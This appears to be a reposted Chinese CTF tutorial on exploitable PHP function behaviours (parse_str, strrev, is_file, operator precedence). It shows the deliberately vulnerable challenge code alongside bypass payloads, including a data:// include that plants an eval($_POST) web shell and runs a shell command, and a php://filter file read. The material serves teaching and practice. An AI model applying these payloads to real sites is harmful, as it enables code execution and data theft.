返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTF中的PHP特性函数怎么使用
  • 146
分享到

CTF中的PHP特性函数怎么使用

2023-07-05 04:07:25 146人浏览 八月长安
摘要

这篇文章主要介绍了CTF中的PHP特性函数怎么使用的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇CTF中的php特性函数怎么使用文章都会有所收获,下面我们一起来看看吧。parse_strparse_str()这

这篇文章主要介绍了CTF中的PHP特性函数怎么使用的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇CTF中的php特性函数怎么使用文章都会有所收获,下面我们一起来看看吧。

parse_str

CTF中的PHP特性函数怎么使用

parse_str()这个函数会把查询字符串解析到变量中。那么我们如何利用它的特性呢,我们看下面的例子:

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST['v1'])){    $v1 = $_POST['v1'];    $v3 = $_GET['v3'];       parse_str($v1,$v2);       if($v2['flag']==md5($v3)){           echo $flag;       }} ?>

分析一下代码要求我们什么,看最后要我们数组v2等于md5(v3),而根据上面代码v2则是由该函数经过v1后赋值给的,那我们解题的思路就有了,利用parse_str() 函数的特点将v2[flag]的值覆盖,那么具体要怎样做呢?

先对数字5进行md5加密:

<?php$b=md5('5');echo $b;// e4da3b7fbbce2345d7772b0674a318d5?>

之后再从v1传入我们的值即可完成绕过:

Payload:GET:v3=5POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

CTF中的PHP特性函数怎么使用

这个函数还是很好理解的,就是将字符串进行翻转,曾经遇到过考察这个的题目觉得很有趣分享给大家,我们先看代码:

highlight_file(__FILE__);    $file = $_POST['file'];    if(isset($file)){        if(strrev($file)==$file){            include $file;        }

代码很简单,第一个是高亮代码没有什么用,要我们传入file而且要使回文数等于它本身并且还要考虑如何进行攻击,是不是不太好想,这里使用php里面的data协议,该协议可以进行写入数据,而且?>闭合后可以加任意字符不会受别的影响。于是我们构造代码:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路还是挺巧妙的。

is_file

CTF中的PHP特性函数怎么使用

该函数检测是不是一个常规的文件类型,在CTF中也出过绕过这个函数的题目,下面我们先看看代码:

<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){    if(preg_match('/../|Http|https|data|input|rot13|base64|string/i',$file)){        die("hacker!");    }else{        return $file;    }}$file=$_GET['file'];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} ?>

分析一下filter函数过滤了很多关键字符串对我们的输入进行限制,最后还不能让is_file检测出来是文件,那我们要怎样读取flag.php文件呢,看最后有个高亮file的操作,这里就是利用点,我们要让其等于flag文件,于是需要绕过:

这里 根据特性is_file不会识别php伪协议,于是我们构造下面代码:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

这样传入即可绕过检测。

优先级问题

在php里存在以下优先级特性:

&&与||的优先级高于=,而&&优先级高于||

=的优先级高于and与or

这里也可以作为考点来考,我们看下面代码:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['username']) && isset($_GET['passWord']) && isset($_GET['code'])){    $username = (String)$_GET['username'];    $password = (String)$_GET['password'];    $code = (String)$_GET['code'];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){        if($code == 'admin'){            echo $flag;        }     }}

我们需要传入三个参数,之后进行类型的强制转换,再通过判断语句,最后需要code参数等于admin方可解题,根据优先级原则,所以当第一个判断条件为true时,直接跳过第二个条件然后判断第三个条件,可能有一些绕,只要username=admin为真值,code=admin输出flag,于是构造payload:

?code=admin&password=1&username=admin

关于“CTF中的PHP特性函数怎么使用”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“CTF中的PHP特性函数怎么使用”知识都有一定的了解,大家如果还想学习更多知识,欢迎关注编程网PHP编程频道。

--结束END--

本文标题: CTF中的PHP特性函数怎么使用

本文链接: https://lsjlt.com/news/349515.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • CTF中的PHP特性函数怎么使用
    这篇文章主要介绍了CTF中的PHP特性函数怎么使用的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇CTF中的PHP特性函数怎么使用文章都会有所收获,下面我们一起来看看吧。parse_strparse_str()这...
    99+
    2023-07-05
  • CTF中的PHP特性函数有哪些
    本篇内容主要讲解“CTF中的PHP特性函数有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“CTF中的PHP特性函数有哪些”吧!intval()官方是怎样定义的:简单来说就是让输入的数字变成整...
    99+
    2023-07-05
  • CTF中的PHP特性函数实例分析
    这篇文章主要介绍“CTF中的PHP特性函数实例分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“CTF中的PHP特性函数实例分析”文章能帮助大家解决问题。MD5强弱碰撞对于MD5加密大家一定很熟悉,...
    99+
    2023-07-05
  • CTF中的PHP特性函数解析之上篇
    目录前言MD5强弱碰撞弱类型比较强类型比较强碰撞preg_match()结语前言 对于PHP大家一定不陌生,但你知道PHP在CTF中是如何考察的吗,本文给大家带来的是通过PHP特性...
    99+
    2023-02-21
    CTF PHP特性函数 CTF PHP
  • PHP特性&缺陷对比函数&CTF考点
    #详细点: ==与=== md5 intval strpos in_array preg_match str_replace PHP比对规则 == 和 === =:赋值 ==:对比,但是不会对比数据类型 ===:对比,同时对比数据类型 1...
    99+
    2023-09-25
    php 开发语言
  • PHP特性之CTF中常见的PHP绕过
    目录 一、关于md5()和sha1()的常见绕过 1、使用数组绕过 2、 使用特殊字符串绕过 二、strcmp绕过 三、switch绕过 四、intval绕过 一、关于md5()和sha1()的常见绕过 知识介绍: 对于php强比较和弱...
    99+
    2023-08-31
    php PHP绕过 PHP特性 hash web
  • WEB攻防-PHP特性&缺陷对比函数&CTF考点
    目录 知识点: 详细: //1、== ===缺陷绕过 & == 弱类型对比 ===还会比较类型 //2、MD5函数缺陷绕过 ==弱对比 ===强类型对比 //3、intval缺陷绕过 //4、对于strpos()函数,我们可以利用换行进行...
    99+
    2023-10-01
    php
  • 如何使用 PHP 中的特定函数?
    specific_function()函数用于处理各种任务。其语法如下:specific_function(parameter1, parameter2, ..., [parameter...
    99+
    2024-04-28
    函数 php
  • JavaScript中的特殊函数怎么使用
    这篇文章主要介绍“JavaScript中的特殊函数怎么使用”,在日常操作中,相信很多人在JavaScript中的特殊函数怎么使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”JavaScript中的特殊函数怎...
    99+
    2023-07-02
  • Vue3 中的 readonly 特性及函数使用详解
    目录Vue3 中的 readonly 特性详解补充:vue3中的readonly单向数据流函数(readonly函数使用详解)一、注意:二、reactive 和 readonly三、...
    99+
    2023-05-18
    Vue3   readonly readonly函数使用
  • 怎么使用PHP中的strstr()函数
    这篇文章主要介绍了怎么使用PHP中的strstr()函数,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。php有什么用php是一个嵌套的缩写名称,是英文超级文本预处理语言,它的...
    99+
    2023-06-14
  • php中的mb_strpos函数怎么使用
    mb_strpos函数用于在字符串中查找特定子字符串的位置,与strpos函数类似,但支持多字节字符。使用方法如下: string ...
    99+
    2024-04-02
  • PHP 函数新特性的兼容性如何?
    PHP 函数新特性的兼容性 随着 PHP 版本的不断更新,新的函数特性也在不断增加,但在实际项目中使用这些特性时,需要注意其兼容性问题。本篇文章将探讨 PHP 函数新特性的兼容性,并提...
    99+
    2024-05-01
    php 函数兼容性
  • php中fgets函数怎么使用
    这篇文章主要讲解了“php中fgets函数怎么使用”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“php中fgets函数怎么使用”吧!在php中,fgets函数用于读取指定文件的一行并返回读取...
    99+
    2023-06-22
  • php中trim函数怎么使用
    在PHP中,trim()函数用于删除字符串的开头和结尾的空格或其他指定字符。它的语法如下:```phptrim(...
    99+
    2023-08-16
    php trim
  • php中count函数怎么使用
    在PHP中,`count()`函数用于计算数组的长度或者对象中的属性的个数。它的使用方式有以下几种:1. 计算数组长度:```php...
    99+
    2023-08-24
    php count
  • PHP中substr函数怎么使用
    在PHP中,`substr()`函数用于获取字符串的一个子串。它的使用方法如下:```phpsubstr(str...
    99+
    2023-08-24
    PHP substr
  • PHP中mysqli_num_rows函数怎么使用
    在PHP中,mysqli_num_rows函数用于获取结果集中的行数。它的使用方式如下: 首先,需要创建一个mysqli对象并连接...
    99+
    2024-04-09
    PHP
  • php中mysqli_query函数怎么使用
    mysqli_query函数用于执行对数据库的查询操作,语法如下: mysqli_query($connection, $query...
    99+
    2024-05-23
    php
  • 怎么在php中使用asort函数的使用
    这篇文章将为大家详细讲解有关怎么在php中使用asort函数的使用,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。PHP开发环境搭建工具有哪些一、phpStudy,是一个新手入门最常用的开发环...
    99+
    2023-06-14
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作